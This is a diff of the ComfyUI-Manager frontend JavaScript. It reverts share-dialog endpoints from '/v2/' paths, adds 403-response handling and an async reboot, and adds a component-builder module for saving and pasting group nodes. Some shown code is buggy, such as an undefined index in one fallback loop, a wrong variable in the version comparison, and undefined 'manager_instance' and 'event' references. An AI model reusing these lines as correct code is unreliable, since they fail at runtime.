.then(response => response.ok ? response.json() : [])
|
||||
.then(alerts => {
|
||||
for (const alert of alerts) {
|
||||
customAlert(alert.message);
|
||||
}
|
||||
})
|
||||
.catch(e => console.warn('[ComfyUI-Manager] Failed to fetch startup alerts:', e));
|
||||
} else if (toastWaitCount < 300) { // Max 30 seconds (300 * 100ms)
|
||||
toastWaitCount++;
|
||||
setTimeout(waitForToast, 100);
|
||||
} else {
|
||||
console.warn('[ComfyUI-Manager] Timeout waiting for toast. Startup alerts skipped.');
|
||||
}
|
||||
};
|
||||
waitForToast();
|
||||
};
|
||||
showStartupAlerts();
|
||||
|
||||
const menu = document.querySelector(".comfy-menu");
|
||||
const separator = document.createElement("hr");
|
||||
|
||||
@@ -1459,6 +1628,8 @@ app.registerExtension({
|
||||
tooltip: "Share"
|
||||
}).element
|
||||
);
|
||||
|
||||
app.menu?.settingsGroup.element.before(cmGroup.element);
|
||||
}
|
||||
catch(exception) {
|
||||
console.log('ComfyUI is outdated. New style menu based features are disabled.');
|
||||
@@ -1516,6 +1687,19 @@ app.registerExtension({
|
||||
node.prototype.getExtraMenuOptions = function (_, options) {
|
||||
origGetExtraMenuOptions?.apply?.(this, arguments);
|
||||
|
||||
if (node.category.startsWith('group nodes>')) {
|
||||
options.push({
|
||||
content: "Save As Component",
|
||||
callback: (obj) => {
|
||||
if (!ComponentBuilderDialog.instance) {
|
||||
ComponentBuilderDialog.instance = new ComponentBuilderDialog();
|
||||
}
|
||||
ComponentBuilderDialog.instance.target_node = node;
|
||||
ComponentBuilderDialog.instance.show();
|
||||
}
|
||||
}, null);
|
||||
}
|
||||
|
||||
if (isOutputNode(node)) {
|
||||
const { potential_outputs } = getPotentialOutputsAndOutputNodes([this]);
|
||||
const hasOutput = potential_outputs.length > 0;
|
||||
@@ -172,7 +172,7 @@ export const shareToEsheep= () => {
|
||||
const nodes = app.graph._nodes
|
||||
const { potential_outputs, potential_output_nodes } = getPotentialOutputsAndOutputNodes(nodes);
|
||||
const workflow = prompt['workflow']
|
||||
api.fetchApi(`/v2/manager/set_esheep_workflow_and_images`, {
|
||||
api.fetchApi(`/manager/set_esheep_workflow_and_images`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
@@ -552,20 +552,6 @@ export class ShareDialog extends ComfyDialog {
|
||||
this.matrix_destination_checkbox.style.color = "var(--fg-color)";
|
||||
this.matrix_destination_checkbox.checked = this.share_option === 'matrix'; //true;
|
||||
|
||||
try {
|
||||
api.fetchApi(`/v2/manager/get_matrix_dep_status`)
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
if(data == 'unavailable') {
|
||||
matrix_destination_checkbox_text.style.textDecoration = "line-through";
|
||||
this.matrix_destination_checkbox.disabled = true;
|
||||
this.matrix_destination_checkbox.title = "It has been disabled because the 'matrix-nio' dependency is not installed. Please install this dependency to use the matrix sharing feature.";
|
||||
matrix_destination_checkbox_text.title = "It has been disabled because the 'matrix-nio' dependency is not installed. Please install this dependency to use the matrix sharing feature.";
|
||||
}
|
||||
})
|
||||
.catch(error => {});
|
||||
} catch (error) {}
|
||||
|
||||
this.comfyworkflows_destination_checkbox = $el("input", { type: 'checkbox', id: "comfyworkflows_destination" }, [])
|
||||
const comfyworkflows_destination_checkbox_text = $el("label", {}, [" ComfyWorkflows.com"])
|
||||
this.comfyworkflows_destination_checkbox.style.color = "var(--fg-color)";
|
||||
@@ -826,7 +812,7 @@ export class ShareDialog extends ComfyDialog {
|
||||
// get the user's existing matrix auth and share key
|
||||
ShareDialog.matrix_auth = { homeserver: "matrix.org", username: "", password: "" };
|
||||
try {
|
||||
api.fetchApi(`/v2/manager/get_matrix_auth`)
|
||||
api.fetchApi(`/manager/get_matrix_auth`)
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
ShareDialog.matrix_auth = data;
|
||||
@@ -845,7 +831,7 @@ export class ShareDialog extends ComfyDialog {
|
||||
ShareDialog.cw_sharekey = "";
|
||||
try {
|
||||
// console.log("Fetching comfyworkflows share key")
|
||||
api.fetchApi(`/v2/manager/get_comfyworkflows_auth`)
|
||||
api.fetchApi(`/manager/get_comfyworkflows_auth`)
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
ShareDialog.cw_sharekey = data.comfyworkflows_sharekey;
|
||||
@@ -905,7 +891,7 @@ export class ShareDialog extends ComfyDialog {
|
||||
// Change the text of the share button to "Sharing..." to indicate that the share process has started
|
||||
this.share_button.textContent = "Sharing...";
|
||||
|
||||
const response = await api.fetchApi(`/v2/manager/share`, {
|
||||
const response = await api.fetchApi(`/manager/share`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
@@ -67,7 +67,7 @@ export class OpenArtShareDialog extends ComfyDialog {
|
||||
async readKey() {
|
||||
let key = ""
|
||||
try {
|
||||
key = await api.fetchApi(`/v2/manager/get_openart_auth`)
|
||||
key = await api.fetchApi(`/manager/get_openart_auth`)
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
return data.openart_key;
|
||||
@@ -82,7 +82,7 @@ export class OpenArtShareDialog extends ComfyDialog {
|
||||
}
|
||||
|
||||
async saveKey(value) {
|
||||
await api.fetchApi(`/v2/manager/set_openart_auth`, {
|
||||
await api.fetchApi(`/manager/set_openart_auth`, {
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify({
|
||||
@@ -399,7 +399,7 @@ export class OpenArtShareDialog extends ComfyDialog {
|
||||
form.append("file", uploadFile);
|
||||
try {
|
||||
const res = await this.fetchApi(
|
||||
`/v2/workflows/upload_thumbnail`,
|
||||
`/workflows/upload_thumbnail`,
|
||||
{
|
||||
method: "POST",
|
||||
body: form,
|
||||
@@ -459,7 +459,7 @@ export class OpenArtShareDialog extends ComfyDialog {
|
||||
throw new Error("Title is required");
|
||||
}
|
||||
|
||||
const current_snapshot = await api.fetchApi(`/v2/snapshot/get_current`)
|
||||
const current_snapshot = await api.fetchApi(`/snapshot/get_current`)
|
||||
.then(response => response.json())
|
||||
.catch(error => {
|
||||
// console.log(error);
|
||||
@@ -489,7 +489,7 @@ export class OpenArtShareDialog extends ComfyDialog {
|
||||
|
||||
try {
|
||||
const response = await this.fetchApi(
|
||||
"/v2/workflows/publish",
|
||||
"/workflows/publish",
|
||||
{
|
||||
method: "POST",
|
||||
headers: {"Content-Type": "application/json"},
|
||||
@@ -179,7 +179,7 @@ export class YouMLShareDialog extends ComfyDialog {
|
||||
async loadToken() {
|
||||
let key = ""
|
||||
try {
|
||||
const response = await api.fetchApi(`/v2/manager/youml/settings`)
|
||||
const response = await api.fetchApi(`/manager/youml/settings`)
|
||||
const settings = await response.json()
|
||||
return settings.token
|
||||
} catch (error) {
|
||||
@@ -188,7 +188,7 @@ export class YouMLShareDialog extends ComfyDialog {
|
||||
}
|
||||
|
||||
async saveToken(value) {
|
||||
await api.fetchApi(`/v2/manager/youml/settings`, {
|
||||
await api.fetchApi(`/manager/youml/settings`, {
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify({
|
||||
@@ -380,7 +380,7 @@ export class YouMLShareDialog extends ComfyDialog {
|
||||
try {
|
||||
let snapshotData = null;
|
||||
try {
|
||||
const snapshot = await api.fetchApi(`/v2/snapshot/get_current`)
|
||||
const snapshot = await api.fetchApi(`/snapshot/get_current`)
|
||||
snapshotData = await snapshot.json()
|
||||
} catch (e) {
|
||||
console.error("Failed to get snapshot", e)
|
||||
@@ -100,6 +100,19 @@ export function show_message(msg) {
|
||||
app.ui.dialog.element.style.zIndex = 1100;
|
||||
}
|
||||
|
||||
export async function handle403Response(res, defaultMessage) {
|
||||
try {
|
||||
const data = await res.json();
|
||||
if(data.error === 'comfyui_outdated') {
|
||||
show_message('ComfyUI version is outdated.<BR>Please update ComfyUI to use Manager normally.');
|
||||
} else {
|
||||
show_message(defaultMessage || 'This action is not allowed with this security level configuration.');
|
||||
}
|
||||
} catch {
|
||||
show_message(defaultMessage || 'This action is not allowed with this security level configuration.');
|
||||
}
|
||||
}
|
||||
|
||||
export async function sleep(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
@@ -163,20 +176,23 @@ export async function customPrompt(title, message) {
|
||||
}
|
||||
|
||||
|
||||
export function rebootAPI() {
|
||||
export async function rebootAPI() {
|
||||
if ('electronAPI' in window) {
|
||||
window.electronAPI.restartApp();
|
||||
return true;
|
||||
}
|
||||
|
||||
customConfirm("Are you sure you'd like to reboot the server?").then((isConfirmed) => {
|
||||
if (isConfirmed) {
|
||||
try {
|
||||
api.fetchApi("/v2/manager/reboot");
|
||||
const isConfirmed = await customConfirm("Are you sure you'd like to reboot the server?");
|
||||
if (isConfirmed) {
|
||||
try {
|
||||
const response = await api.fetchApi("/manager/reboot");
|
||||
if (response.status == 403) {
|
||||
await handle403Response(response);
|
||||
return false;
|
||||
}
|
||||
catch(exception) {}
|
||||
}
|
||||
});
|
||||
catch(exception) {}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
@@ -210,13 +226,13 @@ export async function install_pip(packages) {
|
||||
if(packages.includes('&'))
|
||||
app.ui.dialog.show(`Invalid PIP package enumeration: '${packages}'`);
|
||||
|
||||
const res = await api.fetchApi("/v2/customnode/install/pip", {
|
||||
const res = await api.fetchApi("/customnode/install/pip", {
|
||||
method: "POST",
|
||||
body: packages,
|
||||
});
|
||||
|
||||
if(res.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
await handle403Response(res);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -245,13 +261,13 @@ export async function install_via_git_url(url, manager_dialog) {
|
||||
|
||||
show_message(`Wait...<BR><BR>Installing '${url}'`);
|
||||
|
||||
const res = await api.fetchApi("/v2/customnode/install/git_url", {
|
||||
const res = await api.fetchApi("/customnode/install/git_url", {
|
||||
method: "POST",
|
||||
body: url,
|
||||
});
|
||||
|
||||
if(res.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
await handle403Response(res);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -262,9 +278,9 @@ export async function install_via_git_url(url, manager_dialog) {
|
||||
const self = this;
|
||||
|
||||
rebootButton.addEventListener("click",
|
||||
function() {
|
||||
if(rebootAPI()) {
|
||||
manager_dialog.close();
|
||||
async function() {
|
||||
if(await rebootAPI()) {
|
||||
manager_instance.close();
|
||||
}
|
||||
});
|
||||
}
|
||||
@@ -630,14 +646,6 @@ export function showTooltip(target, text, className = 'cn-tooltip', styleMap = {
|
||||
});
|
||||
}
|
||||
|
||||
export function generateUUID() {
|
||||
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
|
||||
const r = Math.random() * 16 | 0;
|
||||
const v = c === 'x' ? r : (r & 0x3 | 0x8);
|
||||
return v.toString(16);
|
||||
});
|
||||
}
|
||||
|
||||
function initTooltip () {
|
||||
const mouseenterHandler = (e) => {
|
||||
const target = e.target;
|
||||
@@ -0,0 +1,812 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { api } from "../../scripts/api.js"
|
||||
import { sleep, show_message, customConfirm, customAlert } from "./common.js";
|
||||
import { GroupNodeConfig, GroupNodeHandler } from "../../extensions/core/groupNode.js";
|
||||
import { ComfyDialog, $el } from "../../scripts/ui.js";
|
||||
|
||||
const SEPARATOR = ">"
|
||||
|
||||
let pack_map = {};
|
||||
let rpack_map = {};
|
||||
|
||||
export function getPureName(node) {
|
||||
// group nodes/
|
||||
let category = null;
|
||||
if(node.category) {
|
||||
category = node.category.substring(12);
|
||||
}
|
||||
else {
|
||||
category = node.constructor.category?.substring(12);
|
||||
}
|
||||
if(category) {
|
||||
let purename = node.comfyClass.substring(category.length+1);
|
||||
return purename;
|
||||
}
|
||||
else if(node.comfyClass.startsWith('workflow/') || node.comfyClass.startsWith(`workflow${SEPARATOR}`)) {
|
||||
return node.comfyClass.substring(9);
|
||||
}
|
||||
else {
|
||||
return node.comfyClass;
|
||||
}
|
||||
}
|
||||
|
||||
function isValidVersionString(version) {
|
||||
const versionPattern = /^(\d+)\.(\d+)(\.(\d+))?$/;
|
||||
|
||||
const match = version.match(versionPattern);
|
||||
|
||||
return match !== null &&
|
||||
parseInt(match[1], 10) >= 0 &&
|
||||
parseInt(match[2], 10) >= 0 &&
|
||||
(!match[3] || parseInt(match[4], 10) >= 0);
|
||||
}
|
||||
|
||||
function register_pack_map(name, data) {
|
||||
if(data.packname) {
|
||||
pack_map[data.packname] = name;
|
||||
rpack_map[name] = data;
|
||||
}
|
||||
else {
|
||||
rpack_map[name] = data;
|
||||
}
|
||||
}
|
||||
|
||||
function storeGroupNode(name, data, register=true) {
|
||||
let extra = app.graph.extra;
|
||||
if (!extra) app.graph.extra = extra = {};
|
||||
let groupNodes = extra.groupNodes;
|
||||
if (!groupNodes) extra.groupNodes = groupNodes = {};
|
||||
groupNodes[name] = data;
|
||||
|
||||
if(register) {
|
||||
register_pack_map(name, data);
|
||||
}
|
||||
}
|
||||
|
||||
export async function load_components() {
|
||||
let data = await api.fetchApi('/manager/component/loads', {method: "POST"});
|
||||
let components = await data.json();
|
||||
|
||||
let start_time = Date.now();
|
||||
let failed = [];
|
||||
let failed2 = [];
|
||||
|
||||
for(let name in components) {
|
||||
if(app.graph.extra?.groupNodes?.[name]) {
|
||||
if(data) {
|
||||
let data = components[name];
|
||||
|
||||
let category = data.packname;
|
||||
if(data.category) {
|
||||
category += SEPARATOR + data.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
const config = new GroupNodeConfig(name, data);
|
||||
await config.registerType(category);
|
||||
|
||||
register_pack_map(name, data);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
let nodeData = components[name];
|
||||
|
||||
storeGroupNode(name, nodeData);
|
||||
|
||||
const config = new GroupNodeConfig(name, nodeData);
|
||||
|
||||
while(true) {
|
||||
try {
|
||||
let category = nodeData.packname;
|
||||
if(nodeData.category) {
|
||||
category += SEPARATOR + nodeData.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
register_pack_map(name, nodeData);
|
||||
break;
|
||||
}
|
||||
catch {
|
||||
let elapsed_time = Date.now() - start_time;
|
||||
if (elapsed_time > 5000) {
|
||||
failed.push(name);
|
||||
break;
|
||||
} else {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fallback1
|
||||
for(let i in failed) {
|
||||
let name = failed[i];
|
||||
|
||||
if(app.graph.extra?.groupNodes?.[name]) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let nodeData = components[name];
|
||||
|
||||
storeGroupNode(name, nodeData);
|
||||
|
||||
const config = new GroupNodeConfig(name, nodeData);
|
||||
while(true) {
|
||||
try {
|
||||
let category = nodeData.packname;
|
||||
if(nodeData.workflow.category) {
|
||||
category += SEPARATOR + nodeData.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
register_pack_map(name, nodeData);
|
||||
break;
|
||||
}
|
||||
catch {
|
||||
let elapsed_time = Date.now() - start_time;
|
||||
if (elapsed_time > 10000) {
|
||||
failed2.push(name);
|
||||
break;
|
||||
} else {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fallback2
|
||||
for(let name in failed2) {
|
||||
let name = failed2[i];
|
||||
|
||||
let nodeData = components[name];
|
||||
|
||||
storeGroupNode(name, nodeData);
|
||||
|
||||
const config = new GroupNodeConfig(name, nodeData);
|
||||
while(true) {
|
||||
try {
|
||||
let category = nodeData.workflow.packname;
|
||||
if(nodeData.workflow.category) {
|
||||
category += SEPARATOR + nodeData.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
register_pack_map(name, nodeData);
|
||||
break;
|
||||
}
|
||||
catch {
|
||||
let elapsed_time = Date.now() - start_time;
|
||||
if (elapsed_time > 30000) {
|
||||
failed.push(name);
|
||||
break;
|
||||
} else {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function save_as_component(node, version, author, prefix, nodename, packname, category) {
|
||||
let component_name = `${prefix}::${nodename}`;
|
||||
|
||||
let subgraph = app.graph.extra?.groupNodes?.[component_name];
|
||||
if(!subgraph) {
|
||||
subgraph = app.graph.extra?.groupNodes?.[getPureName(node)];
|
||||
}
|
||||
|
||||
subgraph.version = version;
|
||||
subgraph.author = author;
|
||||
subgraph.datetime = Date.now();
|
||||
subgraph.packname = packname;
|
||||
subgraph.category = category;
|
||||
|
||||
let body =
|
||||
{
|
||||
name: component_name,
|
||||
workflow: subgraph
|
||||
};
|
||||
|
||||
pack_map[packname] = component_name;
|
||||
rpack_map[component_name] = subgraph;
|
||||
|
||||
const res = await api.fetchApi('/manager/component/save', {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if(res.status == 200) {
|
||||
storeGroupNode(component_name, subgraph);
|
||||
const config = new GroupNodeConfig(component_name, subgraph);
|
||||
|
||||
let category = body.workflow.packname;
|
||||
if(body.workflow.category) {
|
||||
category += SEPARATOR + body.workflow.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
|
||||
let path = await res.text();
|
||||
show_message(`Component '${component_name}' is saved into:\n${path}`);
|
||||
}
|
||||
else
|
||||
show_message(`Failed to save component.`);
|
||||
}
|
||||
|
||||
async function import_component(component_name, component, mode) {
|
||||
if(mode) {
|
||||
let body =
|
||||
{
|
||||
name: component_name,
|
||||
workflow: component
|
||||
};
|
||||
|
||||
const res = await api.fetchApi('/manager/component/save', {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json", },
|
||||
body: JSON.stringify(body)
|
||||
});
|
||||
}
|
||||
|
||||
let category = component.packname;
|
||||
if(component.category) {
|
||||
category += SEPARATOR + component.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
storeGroupNode(component_name, component);
|
||||
const config = new GroupNodeConfig(component_name, component);
|
||||
await config.registerType(category);
|
||||
}
|
||||
|
||||
function restore_to_loaded_component(component_name) {
|
||||
if(rpack_map[component_name]) {
|
||||
let component = rpack_map[component_name];
|
||||
storeGroupNode(component_name, component, false);
|
||||
const config = new GroupNodeConfig(component_name, component);
|
||||
config.registerType(component.category);
|
||||
}
|
||||
}
|
||||
|
||||
// Using a timestamp prevents duplicate pastes and ensures the prevention of re-deletion of litegrapheditor_clipboard.
|
||||
let last_paste_timestamp = null;
|
||||
|
||||
function versionCompare(v1, v2) {
|
||||
let ver1;
|
||||
let ver2;
|
||||
if(v1 && v1 != '') {
|
||||
ver1 = v1.split('.');
|
||||
ver1[0] = parseInt(ver1[0]);
|
||||
ver1[1] = parseInt(ver1[1]);
|
||||
if(ver1.length == 2)
|
||||
ver1.push(0);
|
||||
else
|
||||
ver1[2] = parseInt(ver2[2]);
|
||||
}
|
||||
else {
|
||||
ver1 = [0,0,0];
|
||||
}
|
||||
|
||||
if(v2 && v2 != '') {
|
||||
ver2 = v2.split('.');
|
||||
ver2[0] = parseInt(ver2[0]);
|
||||
ver2[1] = parseInt(ver2[1]);
|
||||
if(ver2.length == 2)
|
||||
ver2.push(0);
|
||||
else
|
||||
ver2[2] = parseInt(ver2[2]);
|
||||
}
|
||||
else {
|
||||
ver2 = [0,0,0];
|
||||
}
|
||||
|
||||
if(ver1[0] > ver2[0])
|
||||
return -1;
|
||||
else if(ver1[0] < ver2[0])
|
||||
return 1;
|
||||
|
||||
if(ver1[1] > ver2[1])
|
||||
return -1;
|
||||
else if(ver1[1] < ver2[1])
|
||||
return 1;
|
||||
|
||||
if(ver1[2] > ver2[2])
|
||||
return -1;
|
||||
else if(ver1[2] < ver2[2])
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
function checkVersion(name, component) {
|
||||
let msg = '';
|
||||
if(rpack_map[name]) {
|
||||
let old_version = rpack_map[name].version;
|
||||
if(!old_version || old_version == '') {
|
||||
msg = ` '${name}' Upgrade (V0.0 -> V${component.version})`;
|
||||
}
|
||||
else {
|
||||
let c = versionCompare(old_version, component.version);
|
||||
if(c < 0) {
|
||||
msg = ` '${name}' Downgrade (V${old_version} -> V${component.version})`;
|
||||
}
|
||||
else if(c > 0) {
|
||||
msg = ` '${name}' Upgrade (V${old_version} -> V${component.version})`;
|
||||
}
|
||||
else {
|
||||
msg = ` '${name}' Same version (V${component.version})`;
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
msg = `'${name}' NEW (V${component.version})`;
|
||||
}
|
||||
|
||||
return msg;
|
||||
}
|
||||
|
||||
async function handle_import_components(components) {
|
||||
let msg = 'Components:\n';
|
||||
let cnt = 0;
|
||||
for(let name in components) {
|
||||
let component = components[name];
|
||||
let v = checkVersion(name, component);
|
||||
|
||||
if(cnt < 10) {
|
||||
msg += v + '\n';
|
||||
}
|
||||
else if (cnt == 10) {
|
||||
msg += '...\n';
|
||||
}
|
||||
else {
|
||||
// do nothing
|
||||
}
|
||||
|
||||
cnt++;
|
||||
}
|
||||
|
||||
let last_name = null;
|
||||
msg += '\nWill you load components?\n';
|
||||
const confirmed = await customConfirm(msg);
|
||||
if(confirmed) {
|
||||
const mode = await customConfirm('\nWill you save components?\n(cancel=load without save)');
|
||||
|
||||
for(let name in components) {
|
||||
let component = components[name];
|
||||
import_component(name, component, mode);
|
||||
last_name = name;
|
||||
}
|
||||
|
||||
if(mode) {
|
||||
show_message('Components are saved.');
|
||||
}
|
||||
else {
|
||||
show_message('Components are loaded.');
|
||||
}
|
||||
}
|
||||
|
||||
if(cnt == 1 && last_name) {
|
||||
const node = LiteGraph.createNode(`workflow${SEPARATOR}${last_name}`);
|
||||
node.pos = [app.canvas.graph_mouse[0], app.canvas.graph_mouse[1]];
|
||||
app.canvas.graph.add(node, false);
|
||||
}
|
||||
}
|
||||
|
||||
async function handlePaste(e) {
|
||||
let data = (e.clipboardData || window.clipboardData);
|
||||
const items = data.items;
|
||||
for(const item of items) {
|
||||
if(item.kind == 'string' && item.type == 'text/plain') {
|
||||
data = data.getData("text/plain");
|
||||
try {
|
||||
let json_data = JSON.parse(data);
|
||||
if(json_data.kind == 'ComfyUI Components' && last_paste_timestamp != json_data.timestamp) {
|
||||
last_paste_timestamp = json_data.timestamp;
|
||||
await handle_import_components(json_data.components);
|
||||
|
||||
// disable paste node
|
||||
localStorage.removeItem("litegrapheditor_clipboard", null);
|
||||
}
|
||||
else {
|
||||
console.log('This components are already pasted: ignored');
|
||||
}
|
||||
}
|
||||
catch {
|
||||
// nothing to do
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
document.addEventListener("paste", handlePaste);
|
||||
|
||||
|
||||
export class ComponentBuilderDialog extends ComfyDialog {
|
||||
constructor() {
|
||||
super();
|
||||
}
|
||||
|
||||
clear() {
|
||||
while (this.element.children.length) {
|
||||
this.element.removeChild(this.element.children[0]);
|
||||
}
|
||||
}
|
||||
|
||||
show() {
|
||||
this.invalidateControl();
|
||||
|
||||
this.element.style.display = "block";
|
||||
this.element.style.zIndex = 1099;
|
||||
this.element.style.width = "500px";
|
||||
this.element.style.height = "480px";
|
||||
}
|
||||
|
||||
invalidateControl() {
|
||||
this.clear();
|
||||
|
||||
let self = this;
|
||||
|
||||
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => self.close() });
|
||||
this.save_button = $el("button",
|
||||
{ id: "cm-save-button", type: "button", textContent: "Save", onclick: () =>
|
||||
{
|
||||
save_as_component(self.target_node, self.version_string.value.trim(), self.author.value.trim(), self.node_prefix.value.trim(),
|
||||
self.getNodeName(), self.getPackName(), self.category.value.trim());
|
||||
}
|
||||
});
|
||||
|
||||
let default_nodename = getPureName(this.target_node).trim();
|
||||
|
||||
let groupNode = app.graph.extra.groupNodes[default_nodename];
|
||||
let default_packname = groupNode.packname;
|
||||
if(!default_packname) {
|
||||
default_packname = '';
|
||||
}
|
||||
|
||||
let default_category = groupNode.category;
|
||||
if(!default_category) {
|
||||
default_category = '';
|
||||
}
|
||||
|
||||
this.default_ver = groupNode.version;
|
||||
if(!this.default_ver) {
|
||||
this.default_ver = '0.0';
|
||||
}
|
||||
|
||||
let default_author = groupNode.author;
|
||||
if(!default_author) {
|
||||
default_author = '';
|
||||
}
|
||||
|
||||
let delimiterIndex = default_nodename.indexOf('::');
|
||||
let default_prefix = "";
|
||||
if(delimiterIndex != -1) {
|
||||
default_prefix = default_nodename.substring(0, delimiterIndex);
|
||||
default_nodename = default_nodename.substring(delimiterIndex + 2);
|
||||
}
|
||||
|
||||
if(!default_prefix) {
|
||||
this.save_button.disabled = true;
|
||||
}
|
||||
|
||||
this.pack_list = this.createPackListCombo();
|
||||
|
||||
let version_string = this.createLabeledInput('input version (e.g. 1.0)', '*Version : ', this.default_ver);
|
||||
this.version_string = version_string[1];
|
||||
this.version_string.disabled = true;
|
||||
|
||||
let author = this.createLabeledInput('input author (e.g. Dr.Lt.Data)', 'Author : ', default_author);
|
||||
this.author = author[1];
|
||||
|
||||
let node_prefix = this.createLabeledInput('input node prefix (e.g. mypack)', '*Prefix : ', default_prefix);
|
||||
this.node_prefix = node_prefix[1];
|
||||
|
||||
let manual_nodename = this.createLabeledInput('input node name (e.g. MAKE_BASIC_PIPE)', 'Nodename : ', default_nodename);
|
||||
this.manual_nodename = manual_nodename[1];
|
||||
|
||||
let manual_packname = this.createLabeledInput('input pack name (e.g. mypack)', 'Packname : ', default_packname);
|
||||
this.manual_packname = manual_packname[1];
|
||||
|
||||
let category = this.createLabeledInput('input category (e.g. util/pipe)', 'Category : ', default_category);
|
||||
this.category = category[1];
|
||||
|
||||
this.node_label = this.createNodeLabel();
|
||||
|
||||
let author_mode = this.createAuthorModeCheck();
|
||||
this.author_mode = author_mode[0];
|
||||
|
||||
const content =
|
||||
$el("div.comfy-modal-content",
|
||||
[
|
||||
$el("tr.cm-title", {}, [
|
||||
$el("font", {size:6, color:"white"}, [`ComfyUI-Manager: Component Builder`])]
|
||||
),
|
||||
$el("br", {}, []),
|
||||
$el("div.cm-menu-container",
|
||||
[
|
||||
author_mode[0],
|
||||
author_mode[1],
|
||||
category[0],
|
||||
author[0],
|
||||
node_prefix[0],
|
||||
manual_nodename[0],
|
||||
manual_packname[0],
|
||||
version_string[0],
|
||||
this.pack_list,
|
||||
$el("br", {}, []),
|
||||
this.node_label
|
||||
]),
|
||||
|
||||
$el("br", {}, []),
|
||||
this.save_button,
|
||||
close_button,
|
||||
]
|
||||
);
|
||||
|
||||
content.style.width = '100%';
|
||||
content.style.height = '100%';
|
||||
|
||||
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
|
||||
}
|
||||
|
||||
validateInput() {
|
||||
let msg = "";
|
||||
|
||||
if(!isValidVersionString(this.version_string.value)) {
|
||||
msg += 'Invalid version string: '+event.value+"\n";
|
||||
}
|
||||
|
||||
if(this.node_prefix.value.trim() == '') {
|
||||
msg += 'Node prefix cannot be empty\n';
|
||||
}
|
||||
|
||||
if(this.manual_nodename.value.trim() == '') {
|
||||
msg += 'Node name cannot be empty\n';
|
||||
}
|
||||
|
||||
if(msg != '') {
|
||||
// alert(msg);
|
||||
}
|
||||
|
||||
this.save_button.disabled = msg != "";
|
||||
}
|
||||
|
||||
getPackName() {
|
||||
if(this.pack_list.selectedIndex == 0) {
|
||||
return this.manual_packname.value.trim();
|
||||
}
|
||||
|
||||
return this.pack_list.value.trim();
|
||||
}
|
||||
|
||||
getNodeName() {
|
||||
if(this.manual_nodename.value.trim() != '') {
|
||||
return this.manual_nodename.value.trim();
|
||||
}
|
||||
|
||||
return getPureName(this.target_node);
|
||||
}
|
||||
|
||||
createAuthorModeCheck() {
|
||||
let check = $el("input",{type:'checkbox', id:"author-mode"},[])
|
||||
const check_label = $el("label",{for:"author-mode"},["Enable author mode"]);
|
||||
check_label.style.color = "var(--fg-color)";
|
||||
check_label.style.cursor = "pointer";
|
||||
check.checked = false;
|
||||
|
||||
let self = this;
|
||||
check.onchange = () => {
|
||||
self.version_string.disabled = !check.checked;
|
||||
|
||||
if(!check.checked) {
|
||||
self.version_string.value = self.default_ver;
|
||||
}
|
||||
else {
|
||||
customAlert('If you are not the author, it is not recommended to change the version, as it may cause component update issues.');
|
||||
}
|
||||
};
|
||||
|
||||
return [check, check_label];
|
||||
}
|
||||
|
||||
createNodeLabel() {
|
||||
let label = $el('p');
|
||||
label.className = 'cb-node-label';
|
||||
if(this.target_node.comfyClass.includes('::'))
|
||||
label.textContent = getPureName(this.target_node);
|
||||
else
|
||||
label.textContent = " _::" + getPureName(this.target_node);
|
||||
return label;
|
||||
}
|
||||
|
||||
createLabeledInput(placeholder, label, value) {
|
||||
let textbox = $el('input.cb-widget-input', {type:'text', placeholder:placeholder, value:value}, []);
|
||||
|
||||
let self = this;
|
||||
textbox.onchange = () => {
|
||||
this.validateInput.call(self);
|
||||
this.node_label.textContent = this.node_prefix.value + "::" + this.manual_nodename.value;
|
||||
}
|
||||
let row = $el('span.cb-widget', {}, [ $el('span.cb-widget-input-label', label), textbox]);
|
||||
|
||||
return [row, textbox];
|
||||
}
|
||||
|
||||
